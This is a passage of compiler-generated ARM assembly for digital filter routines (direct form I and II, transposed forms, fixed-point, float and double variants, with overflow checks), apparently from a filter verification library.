ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-16] @ float
.L700:
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r2, [fp, #-16] @ float
str r2, [r3] @ float
ldr r0, [fp, #-36]
bl fxp_to_float
mov r3, r0
ldr r1, [fp, #-16] @ float
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size iirOutBothL, .-iirOutBothL
.align 2
.global iirOutBothL2
.syntax unified
.arm
.fpu softvfp
.type iirOutBothL2, %function
iirOutBothL2:
@ args = 32, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-56]
str r1, [fp, #-60]
str r2, [fp, #-64]
str r3, [fp, #-68]
mov r3, #0
str r3, [fp, #-52]
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #16]
add r3, r2, r3
str r3, [fp, #-36]
ldr r3, [fp, #8]
add r3, r3, #4
str r3, [fp, #-32]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #20]
add r3, r2, r3
str r3, [fp, #-28]
ldr r3, [fp, #12]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-48] @ float
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-56]
add r3, r3, #4
str r3, [fp, #-16]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-60]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-44]
mov r3, #1
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-44]
b .L703
.L704:
ldr r3, [fp, #-44]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #12]
add r2, r2, r3
ldr r3, [fp, #-44]
lsl r3, r3, #2
ldr r1, [fp, #12]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #32]
sub r2, r3, #1
ldr r3, [fp, #-44]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #20]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-44]
lsl r3, r3, #2
ldr r2, [fp, #12]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-52]
bl fxp_add
str r0, [fp, #-52]
ldr r3, [fp, #-44]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r2, r2, r3
ldr r3, [fp, #-44]
lsl r3, r3, #2
ldr r1, [fp, #-60]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #32]
sub r2, r3, #1
ldr r3, [fp, #-44]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-44]
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-48] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-48] @ float
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L703:
ldr r3, [fp, #32]
sub r3, r3, #1
ldr r2, [fp, #-44]
cmp r2, r3
blt .L704
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #12]
add r3, r2, r3
ldr r2, [fp, #24]
str r2, [r3]
ldr r3, [fp, #32]
sub r2, r3, #1
ldr r3, [fp, #-44]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #20]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-44]
lsl r3, r3, #2
ldr r2, [fp, #12]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-52]
bl fxp_add
str r0, [fp, #-52]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r3, r2, r3
ldr r2, [fp, #4] @ float
str r2, [r3] @ float
ldr r3, [fp, #32]
sub r2, r3, #1
ldr r3, [fp, #-44]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-44]
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-48] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-48] @ float
mov r3, #1
str r3, [fp, #-40]
b .L705
.L706:
ldr r2, [fp, #28]
ldr r3, [fp, #-40]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #16]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #8]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-52]
bl fxp_sub
str r0, [fp, #-52]
ldr r3, [fp, #-40]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #8]
add r2, r2, r3
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r1, [fp, #8]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r2, [fp, #28]
ldr r3, [fp, #-40]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-48] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-48] @ float
ldr r3, [fp, #-40]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r2, r2, r3
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r1, [fp, #-56]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L705:
ldr r3, [fp, #28]
sub r3, r3, #1
ldr r2, [fp, #-40]
cmp r2, r3
blt .L706
ldr r3, [fp, #28]
cmp r3, #1
ble .L707
ldr r2, [fp, #28]
ldr r3, [fp, #-40]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #16]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #8]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-52]
bl fxp_sub
str r0, [fp, #-52]
.L707:
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #8]
add r3, r2, r3
ldr r2, [fp, #-52]
str r2, [r3]
ldr r3, [fp, #28]
cmp r3, #1
ble .L708
ldr r2, [fp, #28]
ldr r3, [fp, #-40]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-48] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-48] @ float
.L708:
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r2, [fp, #-48] @ float
str r2, [r3] @ float
ldr r0, [fp, #-52]
bl fxp_to_float
mov r3, r0
ldr r1, [fp, #-48] @ float
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size iirOutBothL2, .-iirOutBothL2
.section .rodata
.align 2
.LC33:
.ascii "An Overflow Occurred in the node a0\000"
.text
.align 2
.global fxp_direct_form_1
.syntax unified
.arm
.fpu softvfp
.type fxp_direct_form_1, %function
fxp_direct_form_1:
@ args = 8, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-16]
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-32]
ldr r3, [fp, #4]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-28]
ldr r3, [fp, #-52]
str r3, [fp, #-24]
ldr r3, [fp, #8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L711
.L712:
ldr r3, [fp, #-24]
add r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3]
ldr r3, [fp, #-20]
sub r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_add
str r0, [fp, #-16]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L711:
ldr r2, [fp, #-12]
ldr r3, [fp, #8]
cmp r2, r3
blt .L712
mov r3, #1
str r3, [fp, #-8]
b .L713
.L714:
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3]
ldr r3, [fp, #-28]
sub r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_sub
str r0, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L713:
ldr r2, [fp, #-8]
ldr r3, [fp, #4]
cmp r2, r3
blt .L714
ldr r1, .L716
ldr r0, [fp, #-16]
bl fxp_verify_overflow_node
ldr r3, [fp, #-48]
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_div
str r0, [fp, #-16]
ldr r0, [fp, #-16]
bl fxp_quantize
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L717:
.align 2
.L716:
.word .LC33
.size fxp_direct_form_1, .-fxp_direct_form_1
.section .rodata
.align 2
.LC34:
.ascii "An Overflow Occurred in the node b0\000"
.text
.align 2
.global fxp_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type fxp_direct_form_2, %function
fxp_direct_form_2:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #44
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-24]
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-36]
ldr r3, [fp, #-52]
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r3, r3, #4
str r3, [fp, #-28]
mov r3, #1
str r3, [fp, #-16]
b .L719
.L720:
ldr r3, [fp, #-40]
ldr r4, [r3]
ldr r3, [fp, #-36]
add r2, r3, #4
str r2, [fp, #-36]
ldr r0, [r3]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
mov r0, r4
bl fxp_sub
mov r2, r0
ldr r3, [fp, #-40]
str r2, [r3]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L719:
ldr r2, [fp, #-16]
ldr r3, [fp, #4]
cmp r2, r3
blt .L720
ldr r3, [fp, #-40]
ldr r3, [r3]
ldr r1, [fp, #-44]
mov r0, r3
bl fxp_add
mov r2, r0
ldr r3, [fp, #-40]
str r2, [r3]
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, [fp, #-48]
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl fxp_div
mov r2, r0
ldr r3, [fp, #-40]
str r2, [r3]
ldr r3, [fp, #-40]
ldr r3, [r3]
ldr r1, .L724
mov r0, r3
bl fxp_verify_overflow_node
ldr r3, [fp, #-40]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-20]
b .L721
.L722:
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-24]
bl fxp_add
str r0, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L721:
ldr r2, [fp, #-20]
ldr r3, [fp, #8]
cmp r2, r3
blt .L722
ldr r0, [fp, #-24]
bl fxp_quantize
mov r3, r0
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L725:
.align 2
.L724:
.word .LC34
.size fxp_direct_form_2, .-fxp_direct_form_2
.align 2
.global fxp_transposed_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type fxp_transposed_direct_form_2, %function
fxp_transposed_direct_form_2:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #40
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-20]
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-32]
ldr r3, [fp, #-52]
str r3, [fp, #-28]
ldr r2, [fp, #8]
ldr r3, [fp, #4]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
ldr r1, [fp, #-44]
mov r0, r3
bl fxp_mult
mov r2, r0
ldr r3, [fp, #-40]
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl fxp_add
str r0, [fp, #-20]
ldr r3, [fp, #-48]
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-20]
bl fxp_div
str r0, [fp, #-20]
mov r3, #0
str r3, [fp, #-24]
b .L727
.L730:
ldr r3, [fp, #-24]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r2, r2, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
bge .L728
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r5, [r3]
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r3, [r3]
ldr r1, [fp, #-20]
mov r0, r3
bl fxp_mult
mov r1, r0
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r4, r2, r3
mov r0, r5
bl fxp_sub
mov r3, r0
str r3, [r4]
.L728:
ldr r3, [fp, #8]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
bge .L729
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r5, [r3]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
ldr r1, [fp, #-44]
mov r0, r3
bl fxp_mult
mov r1, r0
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r4, r2, r3
mov r0, r5
bl fxp_add
mov r3, r0
str r3, [r4]
.L729:
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L727:
ldr r3, [fp, #-16]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
blt .L730
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3]
ldr r1, .L732
mov r0, r3
bl fxp_verify_overflow_node
ldr r0, [fp, #-20]
bl fxp_quantize
mov r3, r0
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L733:
.align 2
.L732:
.word .LC33
.size fxp_transposed_direct_form_2, .-fxp_transposed_direct_form_2
.align 2
.global double_direct_form_1
.syntax unified
.arm
.fpu softvfp
.type double_direct_form_1, %function
double_direct_form_1:
@ args = 8, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-48]
add r3, r3, #8
str r3, [fp, #-36]
ldr r3, [fp, #4]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-52]
str r3, [fp, #-28]
ldr r3, [fp, #8]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-20]
b .L735
.L736:
ldr r3, [fp, #-28]
add r2, r3, #8
str r2, [fp, #-28]
ldmia r3, {r0-r1}
ldr r3, [fp, #-24]
sub r2, r3, #8
str r2, [fp, #-24]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L735:
ldr r2, [fp, #-20]
ldr r3, [fp, #8]
cmp r2, r3
blt .L736
mov r3, #1
str r3, [fp, #-16]
b .L737
.L738:
ldr r3, [fp, #-36]
add r2, r3, #8
str r2, [fp, #-36]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
sub r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L737:
ldr r2, [fp, #-16]
ldr r3, [fp, #4]
cmp r2, r3
blt .L738
ldr r3, [fp, #-48]
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size double_direct_form_1, .-double_direct_form_1
.align 2
.global double_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type double_direct_form_2, %function
double_direct_form_2:
@ args = 16, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #48
str r0, [fp, #-48]
str r2, [fp, #-60]
str r3, [fp, #-56]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-40]
ldr r3, [fp, #8]
str r3, [fp, #-36]
ldr r3, [fp, #-48]
add r3, r3, #8
str r3, [fp, #-32]
mov r3, #1
str r3, [fp, #-24]
b .L741
.L742:
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
add r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
mov r2, r4
mov r3, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L741:
ldr r2, [fp, #-24]
ldr r3, [fp, #12]
cmp r2, r3
blt .L742
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-48]
ldmia r3, {r0-r1}
ldr r3, [fp, #4]
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
ldr r1, [fp, #-48]
stm r1, {r2-r3}
ldr r3, [fp, #-48]
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-28]
b .L743
.L744:
ldr r3, [fp, #-36]
add r2, r3, #8
str r2, [fp, #-36]
ldmia r3, {r0-r1}
ldr r3, [fp, #-32]
add r2, r3, #8
str r2, [fp, #-32]
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L743:
ldr r2, [fp, #-28]
ldr r3, [fp, #16]
cmp r2, r3
blt .L744
sub r3, fp, #20
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size double_direct_form_2, .-double_direct_form_2
.align 2
.global double_transposed_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type double_transposed_direct_form_2, %function
double_transposed_direct_form_2:
@ args = 16, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r6, r7, fp, lr}
add fp, sp, #16
sub sp, sp, #44
str r0, [fp, #-48]
str r2, [fp, #-60]
str r3, [fp, #-56]
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-44]
ldr r3, [fp, #8]
str r3, [fp, #-40]
ldr r2, [fp, #16]
ldr r3, [fp, #12]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-48]
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #4]
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-36]
b .L747
.L750:
ldr r3, [fp, #-36]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldr r2, [fp, #-36]
lsl r2, r2, #3
ldr r1, [fp, #-48]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #12]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L748
ldr r3, [fp, #-44]
add r2, r3, #8
str r2, [fp, #-44]
ldmia r3, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r4, r2, r3
mov r2, r6
mov r3, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
.L748:
ldr r3, [fp, #16]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L749
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #60
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-36]
lsl r1, r1, #3
ldr r0, [fp, #-48]
add r4, r0, r1
mov r0, r6
mov r1, r7
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
.L749:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L747:
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
blt .L750
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #16
@ sp needed
pop {r4, r6, r7, fp, pc}
.size double_transposed_direct_form_2, .-double_transposed_direct_form_2
.align 2
.global float_direct_form_1
.syntax unified
.arm
.fpu softvfp
.type float_direct_form_1, %function
float_direct_form_1:
@ args = 8, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-32]
ldr r3, [fp, #4]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
str r3, [fp, #-28]
ldr r3, [fp, #-52]
str r3, [fp, #-24]
ldr r3, [fp, #8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L753
.L754:
ldr r3, [fp, #-24]
add r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
sub r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L753:
ldr r2, [fp, #-12]
ldr r3, [fp, #8]
cmp r2, r3
blt .L754
mov r3, #1
str r3, [fp, #-8]
b .L755
.L756:
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3] @ float
ldr r3, [fp, #-28]
sub r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L755:
ldr r2, [fp, #-8]
ldr r3, [fp, #4]
cmp r2, r3
blt .L756
ldr r3, [fp, #-48]
ldr r3, [r3] @ float
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-16] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size float_direct_form_1, .-float_direct_form_1
.align 2
.global float_direct_form_2
.syntax unified
.arm
.fpu softvfp
.type float_direct_form_2, %function
float_direct_form_2:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-32]
str r1, [fp, #-36] @ float
str r2, [fp, #-40]
str r3, [fp, #-44]
mov r3, #0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-40]
add r3, r3, #4
str r3, [fp, #-28]
ldr r3, [fp, #-44]
str r3, [fp, #-24]
ldr r3, [fp, #-32]
add r3, r3, #4
str r3, [fp, #-20]
mov r3, #1
str r3, [fp, #-8]
b .L759
.L760:
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r2, r3
ldr r3, [fp, #-32]
ldr r3, [r3] @ float
mov r1, r2
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r2, r3
ldr r3, [fp, #-32]
